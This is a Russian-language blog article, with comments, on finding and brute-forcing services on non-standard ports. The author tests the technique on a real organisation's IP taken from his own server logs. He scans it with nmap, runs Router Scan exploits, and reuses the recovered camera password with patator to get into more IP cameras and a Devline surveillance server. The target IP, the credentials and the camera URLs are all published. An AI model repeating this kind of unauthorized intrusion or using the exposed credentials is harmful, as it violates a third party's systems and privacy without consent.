Поиск и брут-форс служб на нестандартных портах

Если вам интересно, где я взял IP адрес, который будет участвовать в примерах данной статьи, то я его взял из логов доступа веб-сервера.

Кто-то, видимо, пытался брут-форсить сайт:

Приходили вот такие запросы:

193.232.100.234 - - [16/Mar/2019:01:52:24 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/init?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&isTopLevel=true&nocache=11cc8 HTTP/1.0" 403 243 "https://kali.tools/all/?tool=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:53:25 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/websocket?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&nocache=1552690388964 HTTP/1.0" 403 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:53:25 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/init?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&isTopLevel=true&nocache=1a774 HTTP/1.0" 403 243 "https://kali.tools/all/?tool=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:53:26 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/websocket?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&nocache=1552690389978 HTTP/1.0" 403 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:53:26 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/init?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&isTopLevel=true&nocache=1f50e HTTP/1.0" 403 243 "https://kali.tools/all/?tool=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:54:27 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/websocket?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&nocache=1552690450965 HTTP/1.0" 403 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:54:27 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/init?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&isTopLevel=true&nocache=1fcfa HTTP/1.0" 403 243 "https://kali.tools/all/?tool=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:54:28 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/websocket?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&nocache=1552690451964 HTTP/1.0" 403 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:54:28 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/init?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&isTopLevel=true&nocache=1fc40 HTTP/1.0" 403 243 "https://kali.tools/all/?tool=5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools
193.232.100.234 - - [16/Mar/2019:01:55:29 +0300] "GET /D46D2B0F-C472-7F4D-9AB1-495B571532ED/websocket?url=https%3A%2F%2Fkali.tools%2Fall%2F%3Ftool%3D5&nocache=1552690512973 HTTP/1.0" 403 248 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134" kali.tools

Пишу «видимо», так как я до конца не уверен — оборудование хостинга само не пропускает более нескольких запросов в секунду, а для сайта данный IP уже давным-давно заблокирован автоматическим скриптом за слишком большое количество запросов. То есть приходящие запросы как минимум пару последних недель (столько хранятся логи) приходят и получают в ответ 403 ошибку — то есть не оказывают какого-либо значимого влияния на нагрузку сервера. Именно по этой причине эту активность я заметил только спустя несколько недель.

Не зависимо от того, заело программу или заело там у кого-то в голове, у нас есть IP адрес 193.232.100.234 и моральное право поковырять его. Но самую малость. Прям совсем чуть-чуть. Даже почти трогать ничего не будем. Вот просто посмотрим кто это и всё…

Попробуем по IP узнать имя хоста:

dig -x 193.232.100.234

И:

nslookup 193.232.100.234

Поскольку PTR запись для данного хоста отсутствует, то данных мы не получили.

Иногда результаты может дать поиск сайтов на одном IP, а также поиск по Securitytrails.

Первый сервис дал нам имя хоста:

  • lk.repropark.ru

Проверим, что хост lk.repropark.ru действительно привязан к исследуемому IP адресу:

dig +short lk.repropark.ru
193.232.100.234

Securitytrails тоже привели к lk.repropark.ru, а уже этот хост рассказал о существовании хостов mailsrvnew.repropark.ru и meet.repropark.ru.

Итак, есть хосты

  • lk.repropark.ru (193.232.100.234)
  • mailsrvnew.repropark.ru (IP в данное время не установлен)
  • meet.repropark.ru (193.232.100.237)
  • repropark.ru (195.208.0.16)

Поскольку это сайт какого-то завода (вроде), то получается, что DoS атака выполнялась или:

а) кем-то посторонним, кто уже взломал сервера этой организации и использует их для своих целей

б) съехавшим с катушек системным администратором этой компании

Как определить службы на нестандартных портах

Выполним полное сканирование портов вместе со сбором баннеров служб:

sudo nmap -p- -sV --script=banner 193.232.100.234

Получаем следующий результат:

Nmap scan report for 193.232.100.234
Host is up (0.092s latency).
Not shown: 65135 filtered ports, 354 closed ports
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           vsftpd 3.0.3
|_banner: 220 (vsFTPd 3.0.3)
22/tcp    open  ssh           OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u4
25/tcp    open  smtp?
| fingerprint-strings: 
|   FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, LDAPSearchReq, RTSPRequest: 
|     452 syntax error (connecting)
|     syntax error (connecting)
|   Hello, Help, Kerberos, LPDString, SSLSessionReq, TLSSessionReq: 
|     452 syntax error (connecting)
|   SIPOptions: 
|     452 syntax error (connecting)
|     syntax error (connecting)
|     syntax error (connecting)
|     syntax error (connecting)
|_    many errors
80/tcp    open  http          Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
211/tcp   open  ftp           vsftpd 3.0.2
|_banner: 220 (vsFTPd 3.0.2)
212/tcp   open  ftp           Microsoft ftpd
|_banner: 220 Microsoft FTP Service
443/tcp   open  ssl/http      Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
1723/tcp  open  pptp          MikroTik (Firmware: 1)
5010/tcp  open  ssh           OpenSSH 6.0p1 Debian 4+deb7u3 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u3
5013/tcp  open  ssl/fmpro-v6?
5222/tcp  open  jabber        Ignite Realtime Openfire Jabber server 3.10.0 or later
| xmpp-info: 
|   STARTTLS Failed
|   info: 
|     compression_methods: 
| 
|     features: 
| 
|     stream_id: 6oytos41yv
|     unknown: 
| 
|     errors: 
|       invalid-namespace
|       (timeout)
|     xmpp: 
|       server name: chatsrv
|       version: 1.0
|     auth_mechanisms: 
| 
|_    capabilities: 
7211/tcp  open  ftp           vsftpd 3.0.2
|_banner: 220 (vsFTPd 3.0.2)
7443/tcp  open  ssl/http      Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
8000/tcp  open  ssh           OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3
8880/tcp  open  http          Apache httpd 2.2.25 ((Win32))
|_http-server-header: Apache/2.2.25 (Win32)
9090/tcp  open  http          Jetty
9780/tcp  open  unknown
9786/tcp  open  http          Devline Line surveillance system httpd
|_http-server-header: Devline Linia Server
9977/tcp  open  http          Boa httpd
9978/tcp  open  http          Boa httpd
9979/tcp  open  http          Boa httpd
9980/tcp  open  http          Boa httpd
9981/tcp  open  http          Boa httpd
9982/tcp  open  http          Boa httpd
9983/tcp  open  http          Boa httpd
9984/tcp  open  http          Boa httpd
9985/tcp  open  http          Boa httpd
9986/tcp  open  http          Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9987/tcp  open  http          Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9988/tcp  open  http          Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9989/tcp  open  http          Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9990/tcp  open  http          Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9991/tcp  open  http          Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9992/tcp  open  http          Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9993/tcp  open  http          lighttpd
|_http-server-header: dcs-lig-httpd
9994/tcp  open  http          lighttpd
|_http-server-header: dcs-lig-httpd
9995/tcp  open  http          lighttpd
|_http-server-header: dcs-lig-httpd
9996/tcp  open  http          Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9997/tcp  open  http          Boa HTTPd 0.94.13
|_http-server-header: Boa/0.94.13
9998/tcp  open  http          lighttpd (D-Link DCS IP camera)
|_http-server-header: dcs-lig-httpd
17789/tcp open  ssh           OpenSSH 6.0p1 Debian 4+deb7u4 (protocol 2.0)
|_banner: SSH-2.0-OpenSSH_6.0p1 Debian-4+deb7u4
19777/tcp open  ssl/unknown
19781/tcp open  ssl/unknown
19782/tcp open  ssl/unknown
19887/tcp open  ssl/unknown
19889/tcp open  ssl/unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port25-TCP:V=7.70%I=7%D=3/17%Time=5C8E6552%P=x86_64-unknown-linux-gnu%r
SF:(Hello,1F,"452\x20syntax\x20error\x20\(connecting\)\r\n")%r(Help,1F,"45
SF:2\x20syntax\x20error\x20\(connecting\)\r\n")%r(GenericLines,3E,"452\x20
SF:syntax\x20error\x20\(connecting\)\r\n452\x20syntax\x20error\x20\(connec
SF:ting\)\r\n")%r(GetRequest,3E,"452\x20syntax\x20error\x20\(connecting\)\
SF:r\n452\x20syntax\x20error\x20\(connecting\)\r\n")%r(HTTPOptions,3E,"452
SF:\x20syntax\x20error\x20\(connecting\)\r\n452\x20syntax\x20error\x20\(co
SF:nnecting\)\r\n")%r(RTSPRequest,3E,"452\x20syntax\x20error\x20\(connecti
SF:ng\)\r\n452\x20syntax\x20error\x20\(connecting\)\r\n")%r(SSLSessionReq,
SF:1F,"452\x20syntax\x20error\x20\(connecting\)\r\n")%r(TLSSessionReq,1F,"
SF:452\x20syntax\x20error\x20\(connecting\)\r\n")%r(Kerberos,1F,"452\x20sy
SF:ntax\x20error\x20\(connecting\)\r\n")%r(FourOhFourRequest,3E,"452\x20sy
SF:ntax\x20error\x20\(connecting\)\r\n452\x20syntax\x20error\x20\(connecti
SF:ng\)\r\n")%r(LPDString,1F,"452\x20syntax\x20error\x20\(connecting\)\r\n
SF:")%r(LDAPSearchReq,3E,"452\x20syntax\x20error\x20\(connecting\)\r\n452\
SF:x20syntax\x20error\x20\(connecting\)\r\n")%r(SIPOptions,91,"452\x20synt
SF:ax\x20error\x20\(connecting\)\r\n452\x20syntax\x20error\x20\(connecting
SF:\)\r\n452\x20syntax\x20error\x20\(connecting\)\r\n452\x20syntax\x20erro
SF:r\x20\(connecting\)\r\n421\x20too\x20many\x20errors\r\n");
Service Info: Host: MikroTik; OSs: Unix, Linux, Windows; Devices: security-misc, webcam; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1000.83 seconds

Не хост, а какая-то рождественская ёлка! Там имеется:

  • 2 или 3 веб-сервера (порты 80, 443 (HTTPS), 8880 и 7443 (тоже HTTPS))
  • 4 SSH сервера (порты 22, 5010, 8000 и 17789)
  • 4 FTP сервера (порты 21, 211, 212, 7211)
  • Openfire, Version: 4.0.3 на 9090 порту
  • HTTP сервер на порту 9780, который разрывает попытки подключения
  • HTTP сервер на порту 9786, который предлагает скачать Flash плеер, судя по файлу http://193.232.100.234:9786/lang.json (найден на основе анализа исходного кода), имеет отношение к системе видеонаблюдения ru.devline.tv (Devline Linia Server (Devline))
  • Множество Boa и lighttpd HTTP серверов на портах 9977, 9978, 9979, 9980, 9981 9982, 9983, 9984, 9985, 9986, 9987, 9988, 9989, 9990, 9991, 9992, 9993, 9994, 9995, 9996, 9997 и 9998

Я погуглил — Boa это простой HTTP сервер для оборудования вроде веб-камер.

Для порта 9998 так и написано, что это D-Link DCS IP camera.

Имеется ещё несколько совсем непонятных портов.

Видимо, это роутер или компьютер, на котором настроена проброска (forwarding) портов на другие устройства, размещающиеся в локальной сети.

Как использовать Router Scan by Stas’M на нестандартных портах

Оборудование на портах 9977, 9978, 9979, 9980, 9981 9982, 9983, 9984, 9985, 9986, 9987, 9988, 9989, 9990, 9991, 9992, 9993, 9994, 9995, 9996, 9997 и 9998 — это какая-то техника вроде роутеров или IP камер.

Для их проверки можно использовать RouterSploit или (в рамках государственной программы «Ипортозамещение программного обеспечения») Router Scan by Stas’M.

По умолчанию Router Scan сканирует три популярных веб порта 80, 8080 и 1080. Но в нашем случае все порты другие, поэтому нужно изменить настройки портов. Это можно сделать в графическом интерфейсе или (что быстрее, если портов много), в файл ports.txt, которые лежит в корневой папке Router Scan, впишите нужные порты — один порт на одну строку.


Запускаем сканирование:

Для трёх устройств сработали эксплойты и мы знаем их логин и пароль: admin:njhufib

Я посмотрел — это действительно IP камеры.

Пароля «торгаши» в словаре Router Scan нет, поэтому даже если у других устройств, для которых не нашлось рабочего эксплойта, такой же пароль, то Router Scan не сможет это проверить.

Брут-форс служб на нестандартных портах

Чтобы проверить, подходят ли найденные учётные данные к устройствам на других портах, воспользуемся замечательной программой для брутфорса patator.

В опциях нам нужно будет указать тип аутентификации, поэтому начнём с его определения. Это можно сделать командой вида:

curl -v ХОСТ:ПОРТ

В результатах которой нужно посмотреть на заголовки.

Например:

curl -v 193.232.100.234:9977

Выведет:

*   Trying 193.232.100.234...
* TCP_NODELAY set
* Connected to 193.232.100.234 (193.232.100.234) port 9977 (#0)
> GET / HTTP/1.1
> Host: 193.232.100.234:9977
> User-Agent: curl/7.64.0
> Accept: */*
> 
* HTTP 1.0, assume close after body
< HTTP/1.0 401 Unauthorized
< Date: Tue, 19 Mar 2019 04:34:45 GMT
< Connection: close
< WWW-Authenticate: Basic realm="DCS-2103"
< Content-Length: 0
< Content-Type: text/html; charset=ISO-8859-1
< 
* Closing connection 0

Смотрим на строку содержащую WWW-Authenticate: Basic — итак, используется Basic аутентификация.

В случае неудачного входа возвращается код ошибки 401 (Unauthorized).

Составляем команду:

patator http_fuzz url=http://193.232.100.234:FILE0 0=ports.txt auth_type=basic user_pass=admin:njhufib -x ignore:code=401 -x ignore,retry:code=500

В ней:

  • http_fuzz — означает использовать модуль http_fuzz, который применяется для брутфорса аутентификации basic | digest | ntlm, брутфорса веб-аутентификации, поиска скрытых файлов и папок. Наверное, его ещё можно для чего-нибудь применить — patator это супергибкая программа.
  • url=http://193.232.100.234:FILE0 — означает, что в качестве URL берётся строка http://193.232.100.234:, после которой (как мы видим, через двоеточие), подставляются значения из файла с номером 0 (FILE0). Если вы забыли, через двоеточие указываются порты, то есть в качестве хоста будет браться один и тот IP адрес, но с разными портами
  • 0=ports.txt — означает, что файл с номером 0 имеет имя ports.txt. Напомню, что данные из этого файла подставляются в качестве портов. Сам файл ports.txt я просто одолжил у Router Scan.
  • auth_type=basic — в качестве способа аутентификации установлена Basic
  • user_pass=admin:njhufib — указывает имя пользователя и пароль, я использую статичную пару admin:njhufib
  • -x ignore:code=401 означает игнорировать (не выводить на экран) попытки, при которых код ошибки был 401 (Доступ запрещён)
  • -x ignore,retry:code=500 — означает игнорировать (не выводить на экран) попытки, при которых код ошибки был 500 (неполадка на сервере), но при этом попробовать этот же логин и пароль ещё раз.

Получаем:

07:35:23 patator    INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2019-03-19 07:35 MSK
07:35:23 patator    INFO -                                                                              
07:35:23 patator    INFO - code size:clen       time | candidate                          |   num | mesg
07:35:23 patator    INFO - -----------------------------------------------------------------------------
07:35:23 patator    INFO - 200  2855:2727      0.242 | 9983                               |     7 | HTTP/1.1 200 OK
07:35:23 patator    INFO - 200  2855:2727      0.239 | 9984                               |     8 | HTTP/1.1 200 OK
07:35:24 patator    INFO - 200  2785:2657      0.250 | 9990                               |    14 | HTTP/1.1 200 OK
07:35:24 patator    INFO - 200  2785:2657      0.227 | 9991                               |    15 | HTTP/1.1 200 OK
07:35:24 patator    INFO - 200  2785:2657      0.227 | 9992                               |    16 | HTTP/1.1 200 OK
07:35:24 patator    INFO - 200  2593:2378      0.233 | 9993                               |    17 | HTTP/1.1 200 OK
07:35:24 patator    INFO - 200  2591:2378      0.232 | 9994                               |    18 | HTTP/1.1 200 OK
07:35:24 patator    INFO - 200  2593:2378      0.232 | 9995                               |    19 | HTTP/1.1 200 OK
07:35:24 patator    INFO - 200  2785:2657      0.235 | 9997                               |    21 | HTTP/1.1 200 OK
07:35:24 patator    INFO - 200  2593:2378      0.239 | 9998                               |    22 | HTTP/1.1 200 OK
07:35:25 patator    INFO - Hits/Done/Skip/Fail/Size: 10/22/0/0/22, Avg: 10 r/s, Time: 0h 0m 2s

Смотрим на столбец candidate — эта пара паролей успешно подошла к ещё десяти хостам на других портах:

  • 9983
  • 9984
  • 9990
  • 9991
  • 9992
  • 9993
  • 9994
  • 9995
  • 9997
  • 9998

По инерции, практически рефлекторно, я было принялся очищать файл ports.txt от портов тех хостов, для кого пароли уже известны, чтобы запустить брутфорс по словарю для оставшихся 12 портов — но потом сам себе напомнил, мы же только собирались посмотреть одним глазком — кто это. И не стал этого делать. Но это и не нужно, чтобы увидеть изображения со всех IP камер данной организации…

Как открыть Devline Linia Server (Devline) без Flash

С http://193.232.100.234:9786/ возникли некоторые проблемы — я никак не мог найти веб-браузер, который до сих под поддерживает Flash… (у меня Linux). Я догадался запустить виртуальную машину с Windows и открыл этот адрес в Internet Explorer, вот так выглядит Devline Linia Server (Devline):

Вы можете спросить, а какой нужно вводить пароль — пароль вводить не нужно… Просто открываете адрес и смотрите… Возможно, так и было задумано…

Пользователь web, пароль - <пустая строка>. Чтобы начальнику было проще запомнить?

IT отдел — возможно, отсюда велась DoS атака…

Поскольку Flash довольно древняя технология, то есть шанс, что приложение на Flash устроено довольно просто и есть возможность получить доступ к камерам без браузера Internet Explorer. Можно декомпилировать файл с Flash, но, на мой взгляд, ещё проще понять принципы работы по сетевой активности.

Анализ сетевой активности Flash приложения

Уже наверное даже не все поймут, что такое Flash. Это мощная технология, значительно расширившая в своё время возможности веб-браузеров, очень популярная. А теперь из-за отсутствия поддержки в браузерах, о ней практически забыли. Поэтому совсем кратко про анализ Flash приложения в Wireshark.

Поскольку Flash работает в браузере, то эта программа отправляет обычные HTTP запросы. Для анализа достаточно захватить трафик и в Wireshark использовать фильтр

http

Кстати, смотрите «Фильтры Wireshark».

Там оказалось всё банально просто — делаются запросы к адресам вида:

  • http://193.232.100.234:9786/cameras
  • http://193.232.100.234:9786/microphones
  • http://193.232.100.234:9786/users/web

Там используется Basic аутентификация.

В возвращаемом XML документе содержаться относительные ссылки на видео и фото, например, http://193.232.100.234:9786/cameras/2/video, http://193.232.100.234:9786/cameras/23/video и так далее.

Зачем здесь Flash если всё можно было бы сделать методами JavaScript и HTML5? Видимо, фронтэнд написали лет пятнадцать назад и тот разработчик, который его делал, уволился и теперь никто не может переделать… Сама-то компания devline, судя по прайс-листу на официальном сайте, живая.

Заключение

И, пожалуй, хватит с них. С какого перепуга кто-то из сотрудников DoS'ил мой сайт? Не знаю. Видимо, на работе у него слишком много свободного времени.

Камеры видеонаблюдения или специально собраны в хаб и выведены для открытого доступа, или настроены как-то уж совсем нарочито неправильно — не нужен не только пароль, для их просмотра не нужно даже вводить имя пользователя — возможно, это сделано намерено, чтобы все видели какой образцовый у них завод…

Ну а мы в этой статье научились искать и определять службы, даже если они работают на необычных портах. Научились работать с Router Scan by Stas'M и patator на нестандартных портах. Рассмотрели анализ сетевой активности совсем простого приложения.

Рекомендуется Вам:

4 комментария to Поиск и брут-форс служб на нестандартных портах

  1. Андрей:

    Побегал по камерам… если не учитывать производство, то опенспейсы и другие кабинеты с компьютерами больше похожи на фабрику троллей, а не завод. Какой-то чел в маске как "кулхацкер" сидит, мужик с прической гитлера хАХАХХАХАХАХ 

    А вообще - побольше таких "кейсов", Алексей, очень интересно и полезно =)

    • Alexey Alexey:

      Судя по сайту, это специализированное серьёзное производство с отделениями в разных регионах РФ. Там действительно стоит дорогостоящее оборудование для печати по пластику или чего-то такого. Это предприятие вообще не при чём, но какой-то его сотрудник использовал сервер в своих странных целях. Либо как я писал — кто-то вообще посторонний скомпрометировал сервер и использует его в своих целях.

  2. Anonim:

    У нас же этичный хакинг

    Сообщите об этих "проблемах" компанию.

    А так respect за старание. Так держать!!!

    • Alexey Alexey:

      В том то и дело что «проблемы» в кавычках. Ничего серьёзного. Камеры — возможно специально открыты, так как на сайте той фирмы, чьими услугами они пользуются, в функционале в том числе записана возможность организовывать потоковое вещание на сайте с IP камер.

      DoS — это уже вроде как моя проблема, да и тоже ненастоящая проблема.

      Смысл статьи — не в том, чтобы показать, как я умею запускать двойным кликом Router Scan и как Router Scan с помощью эксплойта находит пароль для старой китайской говёной и уже давно неподдерживаемой камеры.

      Смысл в том, чтобы:

      • системным администраторам показать, то, что и так написано в любой книжке: «безопасность через запутывание не работает», то есть если «спрятать» незащищённую службу на нестандартном порту, то не надо думать, что никто не догадается
      • прошивку железа надо обновлять, а если железо больше не поддерживается, заменить его
      • тем, кто ищет проблемы, напомнить, что и Router Scan, и patator это очень гибкие и мощные инструменты

Добавить комментарий

Ваш e-mail не будет опубликован.